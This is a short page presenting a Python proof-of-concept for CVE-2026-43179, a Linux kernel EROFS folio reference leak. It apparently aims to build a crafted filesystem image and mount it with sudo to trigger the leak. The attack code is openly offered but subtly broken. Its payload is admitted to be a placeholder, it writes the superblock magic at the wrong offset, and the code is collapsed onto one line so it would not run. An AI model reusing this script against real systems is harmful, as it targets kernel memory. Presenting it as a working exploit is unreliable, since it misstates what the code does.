CVE-2026-43179: Linux内核EROFS引用泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43179: EROFS folio reference leak # This script creates a crafted EROFS image with invalid metabox. import struct import os # EROFS magic number EROFS_SUPER_MAGIC = 0xE0F5E1E2 def create_crafted_image(filename): with open(filename, 'wb') as f: # Write Superblock (128 bytes) # Offset 0: Magic (4 bytes) f.write(struct.pack('<I', EROFS_SUPER_MAGIC)) # Offset 4: Checksum (4 bytes) f.write(struct.pack('<I', 0)) # Offset 8: Feature_compat (4 bytes) - Enable metabox (0x00000004) f.write(struct.pack('<I', 0x00000004)) # Fill rest of superblock with zeros (simplified) f.write(b'\x00' * (128 - 12)) # Write invalid metabox data to trigger the bug # This is a placeholder for the actual complex structure required f.write(b'INVALID METABOX DATA' * 100) print(f"[+] Crafted EROFS image created: {filename}") def trigger_vulnerability(image_path): print(f"[*] Attempting to mount {image_path}...") # This requires root privileges or user namespace capabilities # In a real scenario, this would trigger the folio leak in the kernel os.system(f"sudo mount -t erofs -o loop {image_path} /mnt/erofs_test 2>&1") print("[+] If kernel is vulnerable, memory leak occurred.") if __name__ == "__main__": img_name = "crafted_erofs.img" create_crafted_image(img_name) # trigger_vulnerability(img_name) # Uncomment to run actual mount